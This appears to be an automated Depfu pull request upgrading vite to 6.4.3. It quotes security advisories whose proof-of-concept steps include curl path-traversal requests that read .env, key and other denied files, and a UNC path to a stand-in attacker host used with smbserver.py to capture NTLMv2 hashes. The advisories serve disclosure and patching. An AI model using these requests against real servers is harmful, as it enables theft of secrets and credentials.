🚨 [security] [js] Update vite 6.3.5 → 6.4.3 (minor)

[depfu]

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🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!

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Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ vite (6.3.5 → 6.4.3) · Repo · Changelog

Security Advisories 🚨

🚨 vite: `server.fs.deny` bypass on Windows alternate paths

Summary

The contents of files that are specified by server.fs.deny can be returned to the browser on Windows.

Impact

Only apps that match the following conditions are affected:

• explicitly exposes the Vite dev server to the network (using --host or server.host config option)
• the sensitive file exists in the allowed directories specified by server.fs.allow
• either of:
  • the sensitive file exists in an NTFS volume
  • the dev server is running on Windows and the sensitive file exists in a volume that 8.3 short name generation is enabled (it is enabled by default on system volumes)

Details

Vite’s dev server denies direct access to sensitive files through server.fs.deny, including entries such as .env, .env.*, and *.{crt,pem}. However, on Windows, the deny logic does not correctly normalize NTFS ADS path forms before access checks are applied.
Because of this, requests such as /.env::$DATA?raw are treated as allowed paths, while Windows resolves them to the original file's default data stream.

Similar to that, Windows allows accessing a file using a different name with the 8.3 short name compatibility feature. Vite did not reject accessing files via them.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

Access via browser at http://localhost:5173/.env::$DATA?raw

Example expected result:

• /.env::$DATA?raw returns the contents of .env
• /tls.pem::$DATA?raw returns the contents of tls.pem

🚨 launch-editor: NTLMv2 hash disclosure via UNC path handling on Windows

Summary

The launch-editor NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking.

Impact

If the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the launch-editor:

• using Windows
• NTLM is not disabled (it is recommended to disable, while it's still enabled by default)
• the user accesses the attackers website that sends request to a middleware using launch-editor
• the server that has the middleware using launch-editor is running
• the attacker knows the URL for that server and the middleware

This would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems.

Details

launch-editor accepts file paths without validating or restricting Windows UNC paths such as:

\\attacker-host\share

On Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur.

If an attacker controls the SMB server referenced by the UNC path the victim’s NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victim’s cleartext password.

The attacker could target a developer that uses a development server using launch-editor to develop code locally, send them a link and grab their NTLMv2 hash.

PoC

From the attacker side, we will setup an SMB server. I personally used Impacket's smbserver.py, but you could use something like Responder for this as well. For keeping it simple, we will use smbserver.py here.

First, let's create a directory to serve as an SMB share.

mkdir /tmp/data
echo "Hello world" > /tmp/data/test.txt

Then, start the SMB server.

$ sudo smbserver.py -smb2support -debug share /tmp/data

Now, run any project that uses the launch-editor package. I have setup a simple "Hello world" project that uses Vite to do this. Then run the project locally (vite).

Now last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use curl to achieve the same.

curl 'http://localhost:5173/__open-in-editor?file=%5c%5c127.0.0.1%5cshare%5ctest.txt'

Note the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of smbserver.py and see the NTLMv2 hash coming in.

🚨 Vite Vulnerable to Arbitrary File Read via Vite Dev Server WebSocket

Summary

server.fs check was not enforced to the fetchModule method that is exposed in Vite dev server's WebSocket.

Impact

Only apps that match the following conditions are affected:

• explicitly exposes the Vite dev server to the network (using --host or server.host config option)
• WebSocket is not disabled by server.ws: false

Arbitrary files on the server (development machine, CI environment, container, etc.) can be exposed.

Details

If it is possible to connect to the Vite dev server’s WebSocket without an Origin header, an attacker can invoke fetchModule via the custom WebSocket event vite:invoke and combine file://... with ?raw (or ?inline) to retrieve the contents of arbitrary files on the server as a JavaScript string (e.g., export default "...").

The access control enforced in the HTTP request path (such as server.fs.allow) is not applied to this WebSocket-based execution path.

PoC

1. Start the dev server on the target
   Example (used during validation with this repository):

   pnpm -C playground/alias exec vite --host 0.0.0.0 --port 5173

2. Confirm that access is blocked via the HTTP path (example: arbitrary file)

   curl -i 'http://localhost:5173/@fs/etc/passwd?raw'

   Result: 403 Restricted (outside the allow list)
   

3. Confirm that the same file can be retrieved via the WebSocket path
   By connecting to the HMR WebSocket without an Origin header and sending a vite:invoke request that calls fetchModule with a file://... URL and ?raw, the file contents are returned as a JavaScript module.

🚨 Vite Vulnerable to Path Traversal in Optimized Deps `.map` Handling

Summary

Any files ending with .map even out side the project can be returned to the browser.

Impact

Only apps that match the following conditions are affected:

• explicitly exposes the Vite dev server to the network (using --host or server.host config option)
• have a sensitive content in files ending with .map and the path is predictable

Details

In Vite v7.3.1, the dev server’s handling of .map requests for optimized dependencies resolves file paths and calls readFile without restricting ../ segments in the URL. As a result, it is possible to bypass the server.fs.strict allow list and retrieve .map files located outside the project root, provided they can be parsed as valid source map JSON.

PoC

1. Create a minimal PoC sourcemap outside the project root

   cat > /tmp/poc.map <<'EOF'
   {"version":3,"file":"x.js","sources":[],"names":[],"mappings":""}
   EOF

2. Start the Vite dev server (example)

   pnpm -C playground/fs-serve dev --host 127.0.0.1 --port 18080

3. Confirm that direct /@fs access is blocked by strict (returns 403)
   
4. Inject ../ segments under the optimized deps .map URL prefix to reach /tmp/poc.map
   

🚨 vite allows server.fs.deny bypass via backslash on Windows

Summary

Files denied by server.fs.deny were sent if the URL ended with \ when the dev server is running on Windows.

Impact

Only apps that match the following conditions are affected:

• explicitly exposes the Vite dev server to the network (using --host or server.host config option)
• running the dev server on Windows

Details

server.fs.deny can contain patterns matching against files (by default it includes .env, .env.*, *.{crt,pem} as such patterns). These patterns were able to bypass by using a back slash(\). The root cause is that fs.readFile('/foo.png/') loads /foo.png.

PoC

npm create vite@latest
cd vite-project/
cat "secret" > .env
npm install
npm run dev
curl --request-target /.env\ http://localhost:5173

🚨 Vite middleware may serve files starting with the same name with the public directory

Summary

Files starting with the same name with the public directory were served bypassing the server.fs settings.

Impact

Only apps that match the following conditions are affected:

• explicitly exposes the Vite dev server to the network (using --host or server.host config option)
• uses the public directory feature (enabled by default)
• a symlink exists in the public directory

Details

The servePublicMiddleware function is in charge of serving public files from the server. It returns the viteServePublicMiddleware function which runs the needed tests and serves the page. The viteServePublicMiddleware function checks if the publicFiles variable is defined, and then uses it to determine if the requested page is public. In the case that the publicFiles is undefined, the code will treat the requested page as a public page, and go on with the serving function. publicFiles may be undefined if there is a symbolic link anywhere inside the public directory. In that case, every requested page will be passed to the public serving function. The serving function is based on the sirv library. Vite patches the library to add the possibility to test loading access to pages, but when the public page middleware disables this functionality since public pages are meant to be available always, regardless of whether they are in the allow or deny list.

In the case of public pages, the serving function is provided with the path to the public directory as a root directory. The code of the sirv library uses the join function to get the full path to the requested file. For example, if the public directory is "/www/public", and the requested file is "myfile", the code will join them to the string "/www/public/myfile". The code will then pass this string to the normalize function. Afterwards, the code will use the string's startsWith function to determine whether the created path is within the given directory or not. Only if it is, it will be served.

Since sirv trims the trailing slash of the public directory, the string's startsWith function may return true even if the created path is not within the public directory. For example, if the server's root is at "/www", and the public directory is at "/www/p", if the created path will be "/www/private.txt", the startsWith function will still return true, because the string "/www/private.txt" starts with  "/www/p". To achieve this, the attacker will use ".." to ask for the file "../private.txt". The code will then join it to the "/www/p" string, and will receive "/www/p/../private.txt". Then, the normalize function will return "/www/private.txt", which will then be passed to the startsWith function, which will return true, and the processing of the page will continue without checking the deny list (since this is the public directory middleware which doesn't check that).

PoC

Execute the following shell commands:

npm  create  vite@latest
cd vite-project/
mkdir p
cd p
ln -s a b
cd ..
echo  'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({publicDir: path.resolve(__dirname, "p/"), server: {fs: {deny: [path.resolve(__dirname, "private.txt")]}}})' > vite.config.js
echo  "secret" > private.txt
npm install
npm run dev

Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/private.txt'

You will receive a 403 HTTP Response,  because private.txt is denied.

Now in the same shell run the following command:

curl -v --path-as-is 'http://localhost:5173/../private.txt'

You will receive the contents of private.txt.

Related links

• lukeed/sirv@f0113f3

🚨 Vite's `server.fs` settings were not applied to HTML files

Summary

Any HTML files on the machine were served regardless of the server.fs settings.

Impact

Only apps that match the following conditions are affected:

• explicitly exposes the Vite dev server to the network (using --host or server.host config option)
• appType: 'spa' (default) or appType: 'mpa' is used

This vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served.

Details

The serveStaticMiddleware function is in charge of serving static files from the server. It returns the viteServeStaticMiddleware function which runs the needed tests and serves the page. The viteServeStaticMiddleware function checks if the extension of the requested file is ".html". If so, it doesn't serve the page. Instead, the server will go on to the next middlewares, in this case htmlFallbackMiddleware, and then to indexHtmlMiddleware. These middlewares don't perform any test against allow or deny rules, and they don't make sure that the accessed file is in the root directory of the server. They just find the file and send back its contents to the client.

PoC

Execute the following shell commands:

npm  create  vite@latest
cd vite-project/
echo  "secret" > /tmp/secret.html
npm install
npm run dev

Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/../../../../../../../../../../../tmp/secret.html'

The contents of /tmp/secret.html will be returned.

This will also work for HTML files that are in the root directory of the project, but are in the deny list (or not in the allow list). Test that by stopping the running server (CTRL+C), and running the following commands in the server's shell:

echo  'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({server: {fs: {deny: [path.resolve(__dirname, "secret_files/*")]}}})'  >  [vite.config.js](http://vite.config.js)
mkdir secret_files
echo "secret txt" > secret_files/secret.txt
echo "secret html" > secret_files/secret.html
npm run dev

Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/secret_files/secret.txt'

You will receive a 403 HTTP Response,  because everything in the secret_files directory is denied.

Now in the same shell run the following command:

curl -v --path-as-is 'http://localhost:5173/secret_files/secret.html'

You will receive the contents of secret_files/secret.html.

Release Notes

6.4.3

Please refer to CHANGELOG.md for details.

6.4.2

Please refer to CHANGELOG.md for details.

6.4.1

Please refer to CHANGELOG.md for details.

6.3.6

Please refer to CHANGELOG.md for details.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 23 commits:

• release: v6.4.3
• fix: backport #22572, reject windows alternate paths (#22576)
• fix(deps): backport #22571, reject UNC paths for launch-editor-middleware (#22575)
• chore: pin actions
• release: v6.4.2
• ci: use trusted publisher
• ci: use node 24 for publish
• fix: avoid path traversal with optimize deps sourcemap handler (#22161)
• fix: apply server.fs check to env transport (#22159) (#22163)
• test: reduce fs-serve flaky failure (#22000)
• test: extract common tests for fs-serve (#21750)
• release: v6.4.1
• fix(dev): trim trailing slash before `server.fs.deny` check (#20968) (#20969)
• release: v6.4.0
• feat: allow passing down resolved config to vite's createServer (#20932)
• release: v6.3.7
• fix(esbuild): inject esbuild helpers correctly for esbuild 0.25.9+ (#20940)
• release: v6.3.6
• fix: upgrade sirv to 3.0.2 (#20735)
• fix: apply `fs.strict` check to HTML files (#20736)
• test: detect ts support via `process.features` (#20544)
• docs: show old document warning (#20579)
• release: create-vite@6.5.0

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